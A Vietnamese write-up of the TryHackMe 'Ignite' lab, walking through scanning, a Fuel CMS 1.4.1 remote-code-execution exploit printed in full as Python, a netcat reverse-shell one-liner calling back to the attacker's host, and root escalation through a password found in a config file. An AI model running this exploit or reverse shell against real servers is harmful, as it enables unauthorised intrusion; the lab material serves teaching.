Tiếp tục seri writeup các thử thách thú vị trên Tryhackme. Thử thách lần này mình writeup cùng các bạn là Ignite.
Một chút Writeup về thử thách Ignite
Nmap
Chúng ta có thể thấy hai cổng trong quá trình quét nmap nhưng chỉ có cổng 80 đang mở, cổng còn lại được lọc nên chúng ta có thể bỏ qua nó. Khám phá xem cổng 80 có gì nào.
HTTP
Mình nghĩ đây là một loại hệ thống CMS mới vì mình chưa bao giờ thấy nó được sử dụng trong bất kỳ hệ thống dễ bị tấn công nào khác.
Trong quá trình quét nmap, chúng ta có thể thấy rằng file robots.txt
có một số mục nhập dữ liệu.
Khi mình cố gắng truy cập vào /fuel
, thì mình tìm được màn hình đăng nhập này.
Do chúng ta không có bất kỳ thông tin đăng nhập nào nên không thể đăng nhập vào trang web, vì vậy chúng ta sẽ cần tìm cách giải quyết nào đó.
Điều mình nghĩ đến là liệu đó có phải là thông tin đăng nhập mặc định không nhỉ? Và mình đã đúng, thông tin đăng nhập là admin:admin
, nhưng mình phát hiện là mình không cần đến chúng.
Đổi phương án mới thôi, mình tìm kiếm thông tin về fuel
trên searchsploit
và tìm thấy RCE cho phiên bản 1.4.1
Tiếp theo là tải xuống phần exploit và thay đổi dòng 14 thành URL = “https://ift.tt/3SN8dLn; tức là IP của máy.
Đây là exploit:
import requests import urllib URL = "http://10.0.0.130/" def find_nth_overlapping(haystack, needle, n): start = haystack.find(needle) while start >= 0 and n > 1: start = haystack.find(needle, start+1) n -= 1 return start while 1: xxxx = input('cmd:') url = URL+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27" r = requests.get(url) html = "<!DOCTYPE html>" htmlcharset = r.text.find(html) begin = r.text[0:20] dup = find_nth_overlapping(r.text,begin,2) print(r.text[0:dup])
Chạy exploit và nhập đầu vào.
LƯU Ý: Đảm bảo lệnh nhập nằm trong “” tức là khi bạn chạy exploit, bạn sẽ phải nhập lệnh bạn muốn thực thi. Ví dụ: Giả sử bạn muốn chạy ls thì phải nhập cmd: “ls” chứ không phải cmd: ls. Chú ý lệnh phải được đặt trong dấu ngoặc kép.
Vì chúng ta đã biết RCE, nên có thể dễ dàng lấy everse shell. Chạy lệnh sau để có được reverse shell:
cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 4444 >/tmp/f"
Lệnh này sẽ cung cấp cho bạn một reverse shell trên listener của bạn sẽ nghe trên cổng 4444 qua nc -nlvp 4444
Bây giờ chúng ta có thể lấy flag từ thư mục chính.
Leo thang đặc quyền
Vì chúng ta đang ở trong máy victim, nên hãy thử chạy lệnh enum để liệu có thể tìm thấy gì không. Bạn có thể sử dụng wget từ để tải file enum từ hệ thống của bạn vào máy.
Sau khi tìm kiếm hơi lâu, thì mình đã tìm thấy mật khẩu root tại: /var/www/html/fuel/application/config/database.php
root: mememe
Được rồi, chúng ta vừa tìm thấy mật khẩu cho người dùng root và bây giờ chúng ta có thể thay đổi tài khoản của mình thành root
bằng lệnh su
.
Sau đó, bạn chỉ cần lấy root flag từ /root
.
Tổng kết
Ignite là một thử thách khá tốt cho người mới bắt đầu từ @Darkstar và @lollava. Nếu bạn là người mới bắt đầu thì mình khuyên bạn nên chơi thử thử thách Ignite.
Ngoài ra, bạn cũng có thể giải bài Shodan.io trên Tryhackme tại đây.